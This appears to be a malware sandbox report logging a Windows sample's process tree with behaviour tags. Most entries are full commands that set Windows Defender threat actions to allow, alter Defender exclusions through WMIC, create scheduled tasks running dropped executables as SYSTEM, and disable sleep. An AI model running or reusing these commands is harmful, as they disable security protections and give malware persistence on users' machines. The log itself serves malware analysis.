  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:3684
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:5220
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:3252
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:6608
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:6036
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:6076
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5372
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:1488
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:6672
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:6180
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:6828
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:5216
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2268
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:3672
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:5824
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:6176
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:6684
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:6924
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6236
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:2772
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2160
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5056
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7024
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5472
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4896
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5680
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:804
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5576
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7056
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6824
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4064
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3568
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:448
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4596
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1452
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6288
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6524
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5172
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5684
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "zjtCPqTOixnxYITTP" /SC once /ST 03:58:06 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZTXlTkGoDPQchyzd\lpqXtBmqZCeDwrZ\XEAOSSh.exe\" XQ /gubididrD 525403 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Scheduled Task/Job: Scheduled Task
  PID:4968
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "zjtCPqTOixnxYITTP"
  2⤵
  PID:240
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 928 -s 1368
  2⤵
  - Program crash
  PID:3552

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:7008

C:\Windows\Temp\ZTXlTkGoDPQchyzd\lpqXtBmqZCeDwrZ\XEAOSSh.exe
C:\Windows\Temp\ZTXlTkGoDPQchyzd\lpqXtBmqZCeDwrZ\XEAOSSh.exe XQ /gubididrD 525403 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:5348
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:6068
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:5180
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:2808
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:2744
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:5796
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:1080
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5064
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:1772
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:4624
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:4292
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:5960
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:2456
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:5848
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:5556
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:2404
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:5544
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:2152
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bjeWJKrHnPpdAGCduF"
  2⤵
  PID:6956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:6136
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:2376
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:3036
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:1664
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:3180
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\RgdiTWAdU\IqoaRN.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "gwLAkOfFqvEnRPY" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Scheduled Task/Job: Scheduled Task
  PID:3892
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gwLAkOfFqvEnRPY2" /F /xml "C:\Program Files (x86)\RgdiTWAdU\JcuUzWT.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1712
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "gwLAkOfFqvEnRPY"
  2⤵
  PID:6300
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gwLAkOfFqvEnRPY"
  2⤵
  PID:5576
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "pkYJRvtpGfZaSU" /F /xml "C:\Program Files (x86)\dLLzADClkagU2\QtzXUyi.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4360
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yMFQLDLxyvLyt2" /F /xml "C:\ProgramData\KTrRWZTJHHaefVVB\RIcSTHJ.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1452
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "raxKGaIGjdREsorgF2" /F /xml "C:\Program Files (x86)\qMYsQGpJtRFFYsdYXYR\bnULEyV.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5228
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "JnvrxUwmUummIDFugIt2" /F /xml "C:\Program Files (x86)\wGxkUGMqSkfBC\jThBEMG.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5684
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "zjtCPqTOixnxYITTP"
  2⤵
  PID:1048
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5348 -s 2168
  2⤵
  - Program crash
  PID:5588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 928 -ip 928
1⤵
PID:3556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 408 -ip 408
1⤵
PID:1688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5348 -ip 5348
1⤵
PID:5468

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:5560

C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
1⤵
- Executes dropped EXE
PID:5992
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:3980
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:6084
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:5544
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:2360

C:\Users\Admin\AppData\Local\Temp\7zS414B.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS414B.tmp\Install.exe bC /pXkdidR 525403 /S
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:3696
- C:\Windows\SysWOW64\cmd.exe
